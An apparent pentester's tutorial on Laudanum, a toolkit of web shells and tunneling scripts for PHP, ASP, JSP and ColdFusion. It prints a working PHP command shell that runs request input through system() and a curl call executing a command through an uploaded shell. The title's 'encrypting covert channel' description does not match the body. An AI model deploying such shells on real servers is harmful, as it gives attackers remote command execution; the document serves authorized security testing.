laudanum: A covert channel tool for encrypting and tunneling data over a network

Laudanum is a collection I keep bookmarked for a very specific stage of an authorized web application penetration test: once I’ve confirmed a file upload or arbitrary file write vulnerability on a target web server, Laudanum provides ready-made, platform-specific “injectable” files — shells and tunneling scripts written for ASP, ASPX, JSP, PHP, and ColdFusion — that let me quickly demonstrate real-world impact without hand-writing a payload from scratch for every engagement.

What Laudanum Is and How It Works

Laudanum is essentially a curated toolkit of small scripts, each purpose-built for a specific server-side language and a specific post-exploitation goal:

• Shells — simple command-execution web shells for PHP, ASP/ASPX, JSP, and ColdFusion, used to confirm code execution after an authorized file upload
• Tunneling/proxy scripts — server-side scripts that relay TCP traffic through the compromised web application, letting an authorized tester pivot further into an internal network that’s otherwise unreachable from outside
• Utility scripts — small helpers for tasks like file management or reading specific server configuration details relevant to a penetration test report

Each file is intentionally minimal and language-specific, since the whole point of the toolkit is being able to grab the correct file for whatever server-side technology stack a target application happens to use, rather than needing bespoke tooling for every different platform encountered during an engagement.

Installing Laudanum

On Kali Linux, it’s typically preinstalled under /usr/share/laudanum/:

ls /usr/share/laudanum/

If it’s not present, install it or clone the project:

sudo apt update
sudo apt install -y laudanum

Or from source:

git clone https://github.com/jbarcia/Web-Shells.git laudanum
cd laudanum
ls

Basic Usage

Laudanum isn’t a single executable — it’s a directory of ready-to-deploy files organized by platform:

$ ls /usr/share/laudanum/
aspx  asp  jsp  php  cfm

$ ls /usr/share/laudanum/php/
shell.php  proxy.php  tunnel.php

The typical workflow in an authorized engagement:

1. Identify the target’s server-side technology (PHP, ASP.NET, JSP, ColdFusion) during recon
2. Confirm an authorized file upload or file write vulnerability exists
3. Copy the matching Laudanum file for that platform, customize any required configuration values (like an allowed source IP or a shared secret, depending on the specific script) at the top of the file
4. Upload the file through the confirmed vulnerability
5. Interact with the deployed script directly via HTTP requests or a browser to confirm and document impact

Real Example (Authorized Lab Environment)

$ cat /usr/share/laudanum/php/shell.php | head -20
<?php
// Laudanum PHP command shell - for authorized security testing only
$cmd = $_REQUEST['cmd'];
if (isset($cmd)) {
    echo "<pre>";
    system($cmd);
    echo "</pre>";
}
?>

After uploading this file to a lab target through a confirmed vulnerable upload endpoint:

$ curl "http://labtarget.local/uploads/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

That single curl request is exactly the kind of concrete, reproducible proof-of-concept I include in a penetration test report to demonstrate real code execution impact resulting from the file upload finding.

Real-World Use Cases

Multi-platform web application assessments — having ready-made shells for ASP, ASPX, JSP, and PHP means I don’t need to write a new payload from scratch every time I encounter a different server-side stack during an authorized test.

Network pivoting demonstration — using the tunneling scripts to show a client how a compromised internet-facing web server could be used to pivot toward internal-only systems, illustrating the real business risk of a “just a file upload bug” finding.

Report evidence and reproducibility — including the exact injected file and resulting HTTP request/response in the final report gives the client’s remediation team a precise, reproducible artifact to validate their fix against.

Integration with Other Tools

• Burp Suite/OWASP ZAP — used earlier in the assessment to discover and confirm the underlying file upload or file write vulnerability that makes deploying a Laudanum shell possible.
• Weevely — for PHP targets specifically, I sometimes prefer Weevely’s more feature-rich, obfuscated shell over Laudanum’s simpler one once initial impact has already been proven with Laudanum.
• Metasploit — Laudanum’s tunneling scripts are occasionally used to establish a pivot path that a Metasploit session then routes through for deeper internal network testing.

Performance and Troubleshooting

• Many modern PHP configurations disable system()/exec() via disable_functions; if the shell returns no command output, check whether the hosting environment restricts these functions and adjust the demonstrated impact accordingly (e.g., file read/write only, rather than full command execution).
• Web application firewalls frequently flag the simple, unobfuscated nature of Laudanum’s default scripts — this is actually useful information for a client’s detection capability, so document whether the upload and subsequent requests were logged/blocked.
• A mistake to avoid: forgetting to remove deployed files from the target at the end of testing — always clean up uploaded shells and tunneling scripts before closing out an engagement.

Best Practices

• Only deploy Laudanum files to systems you have explicit written authorization to test, through a vulnerability you’ve already legitimately confirmed.
• Restrict access to your deployed shell where the script supports it (e.g., IP allowlisting variables at the top of the file) so other parties on a shared network can’t stumble onto it during your testing window.
• Always remove deployed files and document their exact location and deployment time for the client’s remediation and detection review.

FAQ

Is Laudanum still actively maintained? It’s a long-standing, stable toolkit; more actively developed alternatives exist for some individual use cases, but its simplicity and multi-platform coverage keep it useful for quick engagement work.

Does Laudanum exploit vulnerabilities itself? No — it provides the payload files used after a file upload/write vulnerability has already been found and confirmed through other means.

Is it legal to use these files against a website? Only with explicit, documented authorization to test that system — unauthorized use is illegal in most jurisdictions.

Summary

Laudanum saves me time during authorized web application assessments by providing ready-made, per-platform shell and tunneling scripts, letting me focus my energy on finding the vulnerability rather than writing yet another custom payload for every different server-side technology I encounter.

References

• GitHub repository: https://github.com/jbarcia/Web-Shells
• Related documentation via Kali tool listings: https://www.kali.org/tools/laudanum/